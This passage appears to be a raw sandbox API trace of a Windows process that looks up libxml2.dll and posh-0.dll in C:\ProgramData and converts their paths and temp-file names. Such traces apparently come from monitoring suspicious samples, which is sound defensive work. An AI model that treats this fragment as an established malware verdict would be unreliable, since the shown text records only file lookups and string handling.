ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.466] GetLastError () returned 0x12 [0118.466] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.466] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.466] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.466] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="libxml2.dll", len=0xb | out: pbstr=0x28ef0c*="libxml2.dll") returned 1 [0118.466] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\libxml2.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13beee20, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13beee20, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf1530, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x79800, dwReserved0=0x0, dwReserved1=0x0, cFileName="libxml2.dll", cAlternateFileName="")) returned 0x7632b0 [0118.466] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.466] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.467] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.467] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\libxml2.dll", len=0x17 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\libxml2.dll") returned 1 [0118.467] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\libxml2.dll", psz="c:\\PROGRA~3\\libxml2.dll\\", len=0x18 | out: pbstr=0x28f210*="c:\\PROGRA~3\\libxml2.dll\\") returned 1 [0118.467] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\libxml2.dll\\", len=0x18 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\libxml2.dll\\") returned 1 [0118.467] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\libxml2.dll\\", psz="c:\\PROGRA~3\\libxml2.dll", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\libxml2.dll") returned 1 [0118.467] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\libxml2.dll", cchLength=0x17 | out: lpsz="c:\\progra~3\\libxml2.dll") returned 0x17 [0118.468] SysReAllocStringLen (in: pbstr=0x461510*=0x0, psz="c:\\progra~3\\libxml2.dll", len=0x17 | out: pbstr=0x461510*="c:\\progra~3\\libxml2.dll") returned 1 [0118.468] SysReAllocStringLen (in: pbstr=0x461514*=0x0, psz="c:", len=0x2 | out: pbstr=0x461514*="c:") returned 1 [0118.468] SysReAllocStringLen (in: pbstr=0x461534*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461534*="progra~3") returned 1 [0118.468] SysReAllocStringLen (in: pbstr=0x461554*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x461554*="libxml2.dll") returned 1 [0118.468] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3dlllme1", lpUsedDefaultChar=0x0) returned 8 [0118.468] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="libxml2.dll", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="libxml2.dlllme1", lpUsedDefaultChar=0x0) returned 11 [0118.468] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x46157c, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBB2044.TMP⍔vバt☘E\x18") returned 12 [0118.468] CharLowerBuffW (in: lpsz="EVBB2044.TMP", cchLength=0xc | out: lpsz="evbb2044.tmp") returned 0xc [0118.469] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.469] FindFirstFileW (in: lpFileName="c:\\programdata\\evbb2044.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf1530, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x79800, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x69006c, nFileSizeLow=0x780062, dwReserved0=0x6c006d, dwReserved1=0x2e0032, cFileName="dll", cAlternateFileName="A舼uA((")) returned 0xffffffff [0118.469] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.469] SysReAllocStringLen (in: pbstr=0x28f258*="evbb2044.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="libxml2.dll", len=0xb | out: pbstr=0x28f1cc*="libxml2.dll") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\libxml2.dll", len=0x2f | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\libxml2.dll") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", len=0x30 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\") returned 1 [0118.469] SysReAllocStringLen (in: pbstr=0x4613fc*=0x0, psz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", len=0x30 | out: pbstr=0x4613fc*="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\") returned 1 [0118.469] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", cchLength=0x30 | out: lpsz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\") returned 0x30 [0118.469] SysReAllocStringLen (in: pbstr=0x461594*=0x0, psz="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", len=0x30 | out: pbstr=0x461594*="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x4615b8*=0x0, psz="device", len=0x6 | out: pbstr=0x4615b8*="device") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x4615d8*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4615d8*="harddiskvolume1") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x4615e4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4615e4*="programdata") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x4615f0*=0x0, psz="libxml2.dll", len=0xb | out: pbstr=0x4615f0*="libxml2.dll") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\libxml2.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.470] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.470] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\libxml2.dll\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\progra~3\\libxml2.dll\\") returned 0x2d [0118.470] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.470] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.470] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.470] CharLowerBuffW (in: lpsz="posh-0.dll", cchLength=0xa | out: lpsz="posh-0.dll") returned 0xa [0118.470] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0118.470] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0118.470] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.470] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.471] GetLastError () returned 0x12 [0118.471] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.471] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.471] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.471] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="posh-0.dll", len=0xa | out: pbstr=0x28ef0c*="posh-0.dll") returned 1 [0118.471] FindFirstFileW (in: lpFileName="c:\\ProgramData\\posh-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.471] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.471] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.472] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.472] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\posh-0.dll", len=0x19 | out: pbstr=0x28ef00*="c:\\ProgramData\\posh-0.dll") returned 1 [0118.472] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\posh-0.dll", psz="c:\\ProgramData\\posh-0.dll\\", len=0x1a | out: pbstr=0x28f214*="c:\\ProgramData\\posh-0.dll\\") returned 1 [0118.472] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\posh-0.dll\\", len=0x1a | out: pbstr=0x28eefc*="c:\\ProgramData\\posh-0.dll\\") returned 1 [0118.472] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\posh-0.dll\\", psz="c:\\ProgramData\\posh-0.dll", len=0x19 | out: pbstr=0x28f214*="c:\\ProgramData\\posh-0.dll") returned 1 [0118.472] CharLowerBuffW (in: lpsz="c:\\ProgramData\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0118.472] SysReAllocStringLen (in: pbstr=0x461798*=0x0, psz="c:\\programdata\\posh-0.dll", len=0x19 | out: pbstr=0x461798*="c:\\programdata\\posh-0.dll") returned 1 [0118.473] SysReAllocStringLen (in: pbstr=0x46179c*=0x0, psz="c:", len=0x2 | out: pbstr=0x46179c*="c:") returned 1 [0118.473] SysReAllocStringLen (in: pbstr=0x4617bc*=0x0, psz="programdata", len=0xb | out: pbstr=0x4617bc*="programdata") returned 1 [0118.473] SysReAllocStringLen (in: pbstr=0x4617dc*=0x0, psz="posh-0.dll", len=0xa | out: pbstr=0x4617dc*="posh-0.dll") returned 1 [0118.473] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.473] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="posh-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="posh-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.473] CharLowerBuffW (in: lpsz="c:\\programdata\\posh-0.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\posh-0.dll") returned 0x19 [0118.473] SysReAllocStringLen (in: pbstr=0x4617ec*=0x0, psz="c:\\programdata\\posh-0.dll", len=0x19 | out: pbstr=0x4617ec*="c:\\programdata\\posh-0.dll") returned 1 [0118.474] SysReAllocStringLen (in: pbstr=0x4617f0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4617f0*="c:") returned 1 [0118.474] SysReAllocStringLen (in: pbstr=0x461810*=0x0, psz="programdata", len=0xb | out: pbstr=0x461810*="programdata") returned 1 [0118.474] SysReAllocStringLen (in: pbstr=0x461830*=0x0, psz="posh-0.dll", len=0xa | out: pbstr=0x461830*="posh-0.dll") returned 1 [0118.474] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadllalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.474] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="posh-0.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="posh-0.dlladllalr45w", lpUsedDefaultChar=0x0) returned 10 [0118.474] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.474] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.474] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.474] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.474] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.475] GetLastError () returned 0x12 [0118.475] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.475] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.475] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.475] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="posh-0.dll", len=0xa | out: pbstr=0x28ef0c*="posh-0.dll") returned 1 [0118.475] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\posh-0.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="posh-0.dll", cAlternateFileName="")) returned 0x7632b0 [0118.475] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.475] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.475] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.475] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\posh-0.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\posh-0.dll") returned 1 [0118.475] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\posh-0.dll", psz="c:\\PROGRA~3\\posh-0.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\posh-0.dll\\") returned 1 [0118.476] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\posh-0.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\posh-0.dll\\") returned 1 [0118.476] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\posh-0.dll\\", psz="c:\\PROGRA~3\\posh-0.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\posh-0.dll") returned 1 [0118.476] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\posh-0.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\posh-0.dll") returned 0x16 [0118.476] SysReAllocStringLen (in: pbstr=0x4617ec*=0x0, psz="c:\\progra~3\\posh-0.dll", len=0x16 | out: pbstr=0x4617ec*="c:\\progra~3\\posh-0.dll") returned 1 [0118.476] SysReAllocStringLen (in: pbstr=0x4617f0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4617f0*="c:") returned 1 [0118.476] SysReAllocStringLen (in: pbstr=0x461810*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461810*="progra~3") returned 1 [0118.476] SysReAllocStringLen (in: pbstr=0x461830*=0x0, psz="posh-0.dll", len=0xa | out: pbstr=0x461830*="posh-0.dll") returned 1 [0118.476] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0118.477] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="posh-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="posh-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.477] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x461858, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVBA682C.TMP⍔vバt☘E\x18") returned 12 [0118.477] CharLowerBuffW (in: lpsz="EVBA682C.TMP", cchLength=0xc | out: lpsz="evba682c.tmp") returned 0xc [0118.477] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.477] FindFirstFileW (in: lpFileName="c:\\programdata\\evba682c.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x2c00, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x6f0070, nFileSizeLow=0x680073, dwReserved0=0x30002d, dwReserved1=0x64002e, cFileName="ll", cAlternateFileName="A聄uA((")) returned 0xffffffff [0118.477] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.477] SysReAllocStringLen (in: pbstr=0x28f258*="evba682c.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.477] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.477] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="posh-0.dll", len=0xa | out: pbstr=0x28f1cc*="posh-0.dll") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\posh-0.dll", len=0x2e | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\posh-0.dll") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", len=0x2f | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x4616d8*=0x0, psz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", len=0x2f | out: pbstr=0x4616d8*="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\") returned 1 [0118.478] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", cchLength=0x2f | out: lpsz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\") returned 0x2f [0118.478] SysReAllocStringLen (in: pbstr=0x461870*=0x0, psz="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", len=0x2f | out: pbstr=0x461870*="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x461894*=0x0, psz="device", len=0x6 | out: pbstr=0x461894*="device") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x4618b4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4618b4*="harddiskvolume1") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x4618c0*=0x0, psz="programdata", len=0xb | out: pbstr=0x4618c0*="programdata") returned 1 [0118.478] SysReAllocStringLen (in: pbstr=0x4618cc*=0x0, psz="posh-0.dll", len=0xa | out: pbstr=0x4618cc*="posh-0.dll") returned 1 [0118.479] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0118.479] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.479] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.479] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="posh-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="posh-0.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0118.479] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\posh-0.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="posh-0.dll", len=0xa | out: pbstr=0x28f1c0*="posh-0.dll") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll", len=0x2b | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\posh-0.dll") returned 1 [0118.479] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\", len=0x2c | out: 